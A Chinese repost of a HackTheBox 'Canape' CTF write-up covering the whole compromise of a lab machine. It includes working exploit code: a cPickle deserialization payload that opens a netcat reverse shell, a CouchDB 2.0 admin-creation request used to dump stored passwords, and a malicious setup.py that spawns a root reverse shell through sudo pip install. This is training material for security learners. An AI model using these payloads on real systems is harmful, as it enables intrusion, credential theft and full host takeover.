前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >HackTheBox - Canape Writeup

HackTheBox - Canape Writeup

作者头像
安恒网络空间安全讲武堂
发布2018-12-11 15:51:53
1.3K0
发布2018-12-11 15:51:53
举报

原文: https://www.absolomb.com/2018-09-15-HackTheBox-Canape/

HackTheBox 是我非常喜欢的 CTF 比赛,因为在拿到 Flag 的过程中需要一些创造性思维,并需要分析和编写一些 python 脚本。所以这是一次很棒的学习经历。

网络扫描

用 Nmap 扫描服务器端口:

代码语言:javascript
复制
root@kali:~/htb/canape# nmap -p- 10.10.10.70 -T4

Starting Nmap 7.60 ( https://nmap.org ) at 2018-04-26 12:51 CDT
Nmap scan report for 10.10.10.70
Host is up (0.053s latency).
Not shown: 65533 filtered ports
PORT      STATE SERVICE
80/tcp    open  http
65535/tcp open  unknown

现在,我们针对两个开放的端口,运行 nmap 脚本和服务检测扫描。

代码语言:javascript
复制
root@kali:~/htb/canape# nmap -sV -sC -p 80,65535 10.10.10.70

Starting Nmap 7.60 ( https://nmap.org ) at 2018-04-26 13:07 CDT
Nmap scan report for 10.10.10.70
Host is up (0.057s latency).

PORT      STATE SERVICE VERSION
80/tcp    open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-git: 
|   10.10.10.70:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|     Last commit message: final # Please enter the commit message for your changes. Li...
|     Remotes:
|_      http://git.canape.htb/simpsons.git
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Simpsons Fan Site
65535/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 8d:82:0b:31:90:e4:c8:85:b2:53:8b:a1:7c:3b:65:e1 (RSA)
|   256 22:fc:6e:c3:55:00:85:0f:24:bf:f5:79:6c:92:8b:68 (ECDSA)
|_  256 0d:91:27:51:80:5e:2b:a3:81:0d:e9:d8:5c:9b:77:35 (EdDSA)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap 在 65535 端口上扫描到了 SSH服务,并在 80 端口上扫到了一个 Git 存储库地址。

我们可以通过两种方式克隆 Git 存储库。简单的方法是在更新 /etc/hosts 后执行 git clone 命令。

代码语言:javascript
复制
root@kali:~/htb/canape# git clone http://git.canape.htb/simpsons.git
Cloning into 'simpsons'...
remote: Counting objects: 49, done.
remote: Compressing objects: 100% (47/47), done.
remote: Total 49 (delta 18), reused 0 (delta 0)
Unpacking objects: 100% (49/49), done.

或者,如果 simpsons.git 文件并未公开,我们可以用 wget 来下载 git 仓库。

代码语言:javascript
复制
root@kali:~/htb/canape#wget --mirror -I .git 10.10.10.70/.git/

然后.我们可以 cd 进入 git 存储库目录并执行 git checkout 命令。

代码语言:javascript
复制
root@kali:~/htb/canape/10.10.10.70# git checkout -- . 
root@kali:~/htb/canape/10.10.10.70# ls -al
total 28 
drwxr-xr-x 5 root root 4096 Apr 26 13:26 . 
drwxr-xr-x 3 root root 4096 Apr 26 13:24 ..
drwxr-xr-x 8 root root 4096 Apr 26 13:26 .git
-rw-r--r-- 1 root root 2043 Apr 26 13:26 __init__.py
-rw-r--r-- 1 root root  207 Apr 26 13:24 robots.txt
drwxr-xr-x 4 root root 4096 Apr 26 13:26 static
drwxr-xr-x 2 root root 4096 Apr 26 13:26 templates

查看 __init__.py 文件的内容,我们可以发现这是一个 Flask Web 应用程序。

代码语言:javascript
复制
import couchdb                                                                                                                                                                                                     
import string                                                                                                                                                                                                      
import random                                                                                                                                                                                                      
import base64                                                                                                                                                                                                      
import cPickle                                                                                                                                                                                                     
from flask import Flask, render_template, request                                                                                                                                                                  
from hashlib import md5                                                                                                                                                                                            


app = Flask(__name__)                                                                                                                                                                                              
app.config.update(                                                                                                                                                                                                 
    DATABASE = "simpsons"                                                                                                                                                                                          
)                                                                                                                                                                                                                  
db = couchdb.Server("http://localhost:5984/")[app.config["DATABASE"]]                                                                                                                                              

@app.errorhandler(404)                                                                                                                                                                                             
def page_not_found(e):
    if random.randrange(0, 2) > 0:
        return ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(random.randrange(50, 250)))
    else:
        return render_template("index.html")

@app.route("/")
def index():
    return render_template("index.html")

@app.route("/quotes")
def quotes():
    quotes = []
    for id in db:
        quotes.append({"title": db[id]["character"], "text": db[id]["quote"]})
    return render_template('quotes.html', entries=quotes)

WHITELIST = [
    "homer",
    "marge",
    "bart",
    "lisa",
    "maggie",
    "moe",
    "carl",
    "krusty"
]

@app.route("/submit", methods=["GET", "POST"])
def submit():
    error = None
    success = None

    if request.method == "POST":
        try:
            char = request.form["character"]
            quote = request.form["quote"]
            if not char or not quote:
                error = True
            elif not any(c.lower() in char.lower() for c in WHITELIST):
                error = True
            else:
                # TODO - Pickle into dictionary instead, `check` is ready
                p_id = md5(char + quote).hexdigest()
                outfile = open("/tmp/" + p_id + ".p", "wb")
                outfile.write(char + quote)
                outfile.close()
                success = True
        except Exception as ex:
            error = True

    return render_template("submit.html", error=error, success=success)

@app.route("/check", methods=["POST"])
def check():
    path = "/tmp/" + request.form["id"] + ".p"
    data = open(path, "rb").read()

    if "p1" in data:
        item = cPickle.loads(data)
    else:
        item = data

    return "Still reviewing: " + item

if __name__ == "__main__":
    app.run()

上面的一些代码可以筛选出不同的网页。 /submit 需要两个变量, charquotechar通过字符串白名单来确保是否包含白名单中的某个字符。quote 就没有任何限制。然后使用 md5 对这两个变量进行哈希作为文件名,并写入到/tmp/ 目录。

我们可以看到 /check 接收了 id 输入参数并使用这个参数作为文件名,然后打开/tmp下带有该 id 的文件。现部分代码看起来比较有趣。如果 p1 在该文件中,则使用 cPickle 来加载文件内容(也就是反序列化)。如果你不熟悉 python 中的 pickle,那么请查阅相关的资料。pickle 一般用于将数据序列化为字节,也可用于反序列化。如果你阅读了相关文档,那么文档中会明确说明不应该提供无法验证为安全的数据。

因此,结合上面的代码分析,我们可以将序列化代码发送到 quote字段中,并让 cPickle 对其进行反序列化并执行。

让我们从简单的开始,并验证我们可以获取存储在/tmp目录中的文件内容。我们先为 char 变量设置 homer 这个值并为 quote 变量设置值“test”,或者通过浏览器访问页面传入参数,或者使用 curl 来完成请求。现在我们需要将这些值组合起来,请作为 id 参数的值也就是文件名的哈希值然后请求 /check 页面。

使用 __init__.py 文件的源代码,我们可以重用部分代码来实现我们需要的功能。

代码语言:javascript
复制
root@kali:~# python
Python 2.7.14+ (default, Dec  5 2017, 15:17:02) 
[GCC 7.2.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from hashlib import md5
>>> char = "homer"
>>> quote = "test"
>>> p_id = md5(char + quote).hexdigest()
>>> p_id
'27c2ef5f95bbc3e5fddecf2f5ed9eb8c'

使用 curl 命令向 /check 发起 POST 请求来验证结果。

代码语言:javascript
复制
root@kali:~/htb/canape# curl -X POST http://10.10.10.70/check -F 'id=27c2ef5f95bbc3e5fddecf2f5ed9eb8c'
Still reviewing: homertest

请注意,它将两个值连接在了一起,我们需要记住这一点,后面会用到。好吧,我们已经找到了那个部分,现在我们需要用 cPickle 和它的 dump 函数将已经序列化的数据输入到 quote 变量。这有一篇很好的文章,介绍了如何使用Python中一个类来做到这一点。

所以,我们还需要再做一些事情才能够让代码执行。

  • 将要执行的代码使用 cPickle 序列化并提交给 quote
  • 使用 md5 加密我们提交的 char 和 quote 参数值,用于调用有效载荷
  • 将上一步得到的哈希值作为 id 参数的值,并向 /check 提交 POST 请求

让我们编写一个 Exp 来自动化完成这些工作。

代码语言:javascript
复制
import cPickle
from hashlib import md5
import os
import requests
import urllib

class shell(object):
    def __reduce__(self):
        return (os.system,("rm -f /var/tmp/backpipe; mknod /var/tmp/backpipe p; nc 10.10.14.14 443 0</var/tmp/backpipe | /bin/bash 1>/var/tmp/backpipe",))

quote = cPickle.dumps(shell())

char = "(S'homer'\n"

p_id = md5(char + quote).hexdigest()

submit_url = "http://10.10.10.70/submit"
check_url = "http://10.10.10.70/check"

client = requests.session()

post_data = [('character',char), ('quote',quote)]

post_request = client.post(submit_url, data=post_data)

post2_data = [('id',p_id)]

post2_request = client.post(check_url, data=post2_data)

现在我解释一下这段代码。

首先导入我们需要的所有需要用到的模块,然后定义一个类对象,这个类会执行一个反向shell,利用了 mknod 方法,因为很可能 nc -e 在目标服务器上不起作用。

接下来,我们使用 cPickle 序列化我们要执行的代码来并将其放入 quote 变量中。

接下来就是比较有趣的部分了。我们知道我们必须让提交 char 参数在白名单中。但是,如果我们按原样提交该字符串,则会导致我们的代码在反序列化时不会被执行。所以我们需要做的就是在cPickle中创建一个反序列化的字符串,通过添加 (S' 到字符串的最前面使其成为有效的非可执行代码。我们还可以添加 \n 换行符来防止我们之前看到的字符串会被拼接的情况。如果你想知道我是怎么想到的,你可以在python终端中查看反序列化的数据,看看 cPickle 转储了什么,你会得到下面这样的输出:

代码语言:javascript
复制
cposix
system
p1
(S'rm -f /var/tmp/backpipe; mknod /var/tmp/backpipe p; nc 10.10.14.14 443 0</var/tmp/backpipe | /bin/bash 1>/var/tmp/backpipe'
p2
tp3
Rp4

注意 mknod 字符串的开头是 (S' 并用单引号闭合。可能还有其他的一些方法,但我的这个方法足够完成工作。

回到我们的 python 脚本,我们将 char 和 quote 拼接并用 md5 加密,然后存储为变量 pid,稍后会调用这个变量。 接下来,我们定义了要发起 POST 请求的两个 URL。 然后使用 requests 模块,创建一个 HTTP 请求客户端,并使用两个 char 和 quote 作为数据向/submit URL 发起 POST 请求。 最后,我们使用 pid 作为 id 参数的值向 /check 发起 POST请求来执行代码。

这个时候我们在本地启动 netcat 监听器,就可以在运行上面的脚本后捕获到服务器的 shell。

代码语言:javascript
复制
root@kali:~/htb/canape# python script.py
代码语言:javascript
复制
root@kali:~/htb/canape# nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.14.14] from (UNKNOWN) [10.10.10.70] 58452
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
python -c 'import pty;pty.spawn("/bin/bash")'
www-data@canape:/$

搞定!

提权到 homer 用户权限

我们已经得到了一个 www-data 用户身份的 shell ,但我们需要提升到 homer 用户身份来获取user.txt。回顾一下前面的 Flask 源代码,我们可以看到这个 Flask 应用程序连接到了 localhost 的 5984 端口上的 couchdb 服务。我们可以使用 curl 来验证连接并获取数据库版本。

代码语言:javascript
复制
www-data@canape:/$ curl -X GET http://127.0.0.1:5984
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}

让我们做一般的查询来获取当前在 couchdb 中的所有数据库。

代码语言:javascript
复制
www-data@canape:/var/www/html/simpsons$ curl -X GET http://127.0.0.1:5984/_all_dbs
<ml/simpsons$ curl -X GET http://127.0.0.1:5984/_all_dbs                     
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]

如果我们尝试访问数据库中 password 的内容,会被拒绝访问。

代码语言:javascript
复制
www-data@canape:/$ curl -X GET http://127.0.0.1:5984/passwords/all_docs
{"error":"unauthorized","reason":"You are not authorized to access this db."}

幸运的是,couchdb 2.0 版本很容易受到漏洞攻击,有个 RCE 漏洞可以让我们绕过输入验证来创建一个管理员用户。你可以在这里查看漏洞详情。

我们的有效载荷如下:

代码语言:javascript
复制
www-data@canape:/$ curl -X PUT 'http://localhost:5984/_users/org.couchdb.user:absolomb' --data-binary '{"type":"user","name":"absolomb","roles": ["_admin"],"roles": [],"password": "supersecret"}'

{"ok":true,"id":"org.couchdb.user:absolomb","rev":"1-821ac8fdc3a5d8e4362682da1beae312"}

现在我们可以通过在 URL 前面添加 username:password 这种格式的前缀来查询数据库。

代码语言:javascript
复制
www-data@canape:/$ curl -X GET http://absolomb:supersecret@localhost:5984/passwords/_all_docs
{"total_rows":4,"offset":0,"rows":[
{"id":"739c5ebdf3f7a001bebb8fc4380019e4","key":"739c5ebdf3f7a001bebb8fc4380019e4","value":{"rev":"2-81cf17b971d9229c54be92eeee723296"}},
{"id":"739c5ebdf3f7a001bebb8fc43800368d","key":"739c5ebdf3f7a001bebb8fc43800368d","value":{"rev":"2-43f8db6aa3b51643c9a0e21cacd92c6e"}},
{"id":"739c5ebdf3f7a001bebb8fc438003e5f","key":"739c5ebdf3f7a001bebb8fc438003e5f","value":{"rev":"1-77cd0af093b96943ecb42c2e5358fe61"}},
{"id":"739c5ebdf3f7a001bebb8fc438004738","key":"739c5ebdf3f7a001bebb8fc438004738","value":{"rev":"1-49a20010e64044ee7571b8c1b902cf8c"}}
]}

我们只需要在 URL 的末尾附加上 id 的值,就可以查询数据库中每个记录项的详细数据。

代码语言:javascript
复制
www-data@canape:/tmp$ curl -X GET http://absolomb:supersecret@localhost:5984/passwords/739c5ebdf3f7a001bebb8fc4380019e4                                
{"_id":"739c5ebdf3f7a001bebb8fc4380019e4","_rev":"2-81cf17b971d9229c54be92eeee723296","item":"ssh","password":"0B4jyA0xtytZi7esBNGp","user":""}
www-data@canape:/tmp$ curl -X GET http://absolomb:supersecret@localhost:5984/passwords/739c5ebdf3f7a001bebb8fc43800368d                                
{"_id":"739c5ebdf3f7a001bebb8fc43800368d","_rev":"2-43f8db6aa3b51643c9a0e21cacd92c6e","item":"couchdb","password":"r3lax0Nth3C0UCH","user":"couchy"}
www-data@canape:/tmp$ curl -X GET http://absolomb:supersecret@localhost:5984/passwords/739c5ebdf3f7a001bebb8fc438003e5f                                
{"_id":"739c5ebdf3f7a001bebb8fc438003e5f","_rev":"1-77cd0af093b96943ecb42c2e5358fe61","item":"simpsonsfanclub.com","password":"h02ddjdj2k2k2","user":"homer"}
www-data@canape:/tmp$ curl -X GET http://absolomb:supersecret@localhost:5984/passwords/739c5ebdf3f7a001bebb8fc438004738                                
{"_id":"739c5ebdf3f7a001bebb8fc438004738","_rev":"1-49a20010e64044ee7571b8c1b902cf8c","user":"homerj0121","item":"github","password":"STOP STORING YOUR PASSWORDS HERE -Admin"}

homer 用户的密码就是我们想要的! 我们可以在 65535 端口上连接 SSH 服务。

代码语言:javascript
复制
root@kali:~/htb/canape# ssh homer@10.10.10.70 -p 65535
homer@10.10.10.70's password: 
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-119-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage
Last login: Tue Apr 10 12:57:08 2018 from 10.10.14.5
homer@canape:~$

提权到 Root 权限

如果我们检查 homer 用户的 sudo权限,我们可以看到 homer 用户能够以 root 用户的身份运行 pip install。

代码语言:javascript
复制
homer@canape:~$ sudo -l
[sudo] password for homer: 
Matching Defaults entries for homer on canape:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User homer may run the following commands on canape:
    (root) /usr/bin/pip install *

为了利用这一点,我们可以简单地创建一个恶意的python包,它将在安装时运行代码。为此,我们可以setup.py使用以下内容在攻击框中创建一个文件。

To exploit this, we can simply create a malicious python package that will run code when it’s installed. To do this we can create a setup.py file on our attacking box with the following.

代码语言:javascript
复制
import os
import pty
import socket

from setuptools import setup
from setuptools.command.install import install

class MyClass(install):
    def run(self):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(("10.10.14.14", 443))
        os.dup2(s.fileno(),0)
        os.dup2(s.fileno(),1)
        os.dup2(s.fileno(),2)
        os.putenv("HISTFILE",'/dev/null')
        pty.spawn("/bin/bash")
        s.close()

setup(
    cmdclass={
        "install": MyClass
    }
)

这基本上只是告诉pip在安装时运行MyClass,它将向我们发送一个反向shell。 现在我们需要打包它。

This basically just tells pip to run MyClass at install, which will send us a reverse shell.

Now we’ll need to package it.

代码语言:javascript
复制
root@kali:~/htb/canape# python setup.py sdist

默认情况下,它会在 dist 目录下创建一个 UNKNOWN-0.0.0.tar.gz 文件,我们可以将这个文件复制并重命名为 shell.tar.gz 然后复制到目标服务器上。

代码语言:javascript
复制
homer@canape:~$ wget http://10.10.14.14/shell.tar.gz
--2018-04-27 12:23:05--  http://10.10.14.14/shell.tar.gz
Connecting to 10.10.14.14:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 775 [application/gzip]
Saving to: ‘shell.tar.gz’

shell.tar.gz                  100%[=================================================>]     775  --.-KB/s    in 0s      

2018-04-27 12:23:05 (126 MB/s) - ‘shell.tar.gz’ saved [775/775]

现在,我们就可以启动一个 netcat 的监听器并使用 sudo 来运行 pip install。

代码语言:javascript
复制
homer@canape:~$ sudo /usr/bin/pip install shell.tar.gz 
The directory '/home/homer/.cache/pip/http' or its parent directory is not owned by the current user and the cache has been disabled. Please check the permissions and owner of that directory. If executing pip with sudo, you may want sudo's -H flag.
The directory '/home/homer/.cache/pip' or its parent directory is not owned by the current user and caching wheels has been disabled. check the permissions and owner of that directory. If executing pip with sudo, you may want sudo's -H flag.
Processing ./shell.tar.gz
Installing collected packages: UNKNOWN
  Running setup.py install for UNKNOWN ...
代码语言:javascript
复制
root@kali:~/htb/canape# nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.14.14] from (UNKNOWN) [10.10.10.70] 55420
root@canape:/tmp/pip-bz9te7-build#
本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2018-11-01,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 恒星EDU 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 网络扫描
  • 提权到 homer 用户权限
  • 提权到 Root 权限
相关产品与服务
腾讯云代码分析
腾讯云代码分析(内部代号CodeDog)是集众多代码分析工具的云原生、分布式、高性能的代码综合分析跟踪管理平台,其主要功能是持续跟踪分析代码,观测项目代码质量,支撑团队传承代码文化。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档